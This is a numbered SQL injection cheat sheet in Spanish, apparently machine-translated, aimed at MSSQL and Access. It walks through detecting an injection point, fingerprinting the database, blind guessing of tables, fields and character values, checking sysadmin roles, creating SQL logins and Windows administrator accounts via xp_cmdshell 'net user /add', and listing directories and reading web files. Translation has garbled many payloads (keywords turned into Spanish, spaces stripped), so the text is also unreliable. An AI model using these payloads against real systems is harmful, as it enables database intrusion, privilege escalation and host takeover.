1. Determinar si hay inyección
; y1 = 1
; y1 = 2
2. Juicio preliminar sobre si es MSSQL
; Anduser> 0
3. Los parámetros de inyección son caracteres
'y [condición de consulta] y' '='
4. No hay parámetros de filtrado durante la búsqueda
'y [condición de consulta] y'%25 '='
5. Sistema de bases de datos de jueces
; y (selectCount (*) fromSySObjects)> 0mssql
y (selectCount (*) frommsySobjects)> 0access
6. Adivina la base de datos
; y (selectCount (*) de [nombre de la base de datos])> 0
7. Adivina el campo
; y (selectCount (nombre de campo) del nombre de la base de datos)> 0
8. Adivina la longitud de registro en el campo
; y (selectTop1len (nombre de campo) del nombre de la base de datos)> 0
9. (1) Adivina el valor ASCII del campo (acceso)
; y (selectTop1asc (Mid (nombre de campo, 1, 1)) del nombre de la base de datos)> 0
(2) Adivina el valor ASCII del campo (MSSQL)
; y (selectTop1Unicode (subcadena (nombre de campo, 1, 1)) desde el nombre de la base de datos)> 0
10. Estructura de permiso de prueba (MSSQL)
; y1 = (selectis_srvrolemember ('sysadmin'));--
; y1 = (selectis_srvrolemember ('serverAdmin'));--
; y1 = (selectis_srvrolemember ('setupadmin'));--
; y1 = (selectis_srvrolemember ('SecurityAdmin'));--
; y1 = (selectis_srvrolemember ('diskadmin'));--
; y1 = (selectis_srvrolemember ('bulkadmin'));--
; y1 = (selectis_member ('db_owner'));-
11. Agregue MSSQL y cuenta del sistema
; execmaster.dbo.sp_addloginusername;-
; ExecMaster.dbo.sp_passwordnull, nombre de usuario, contraseña;-
; execmaster.dbo.sp_addsrvrolemembersysAdMinUsername;--
; ExecMaster.dbo.xp_cmdshell'netUserUserNamePassword/Workstations:*/Times: All/PasswordChg: YES/PasswordReq: YES/Active: YES/Add ';-----
; execMaster.dbo.xp_cmdshell'netUserUserNamePassword/add ';-
; execMaster.dbo.xp_cmdshell'netLocalGroupAdMinistratorSUsername/add ';-
12. (1) Transfiera el directorio
; CreateTableDirs (PathSvarchar (100), Idint)
; insertDirsexecmaster.dbo.xp_dirtree'c:/'
; y (selectTop1pathsFromDirs)> 0
; y (selectTop1pathSFromDirswherePathSnotin ('Rutas obtenidas del paso anterior'))>))
(2) atravesar el directorio
; CreateTableTemp (idnvarchar (255), num1nvarchar (255), num2nvarchar (255), num3nvarchar (255));--
; inserttempexecmaster.dbo.xp_availableMedia; -get todas las unidades actuales
; InsertInToTemp (id) Execmaster.dbo.xp_subdirs'c:/';-Obtener la lista de subdirectorio
; insertInToTemp (id, num1) execmaster.dbo.xp_dirtree'c:/';-Obtenga la estructura del árbol de directorio de todos los subdirectorios
; InsertInToTemp (id) Execmaster.dbo.xp_cmdshell'typeC: /web/index.asp ';-Ver el contenido del archivo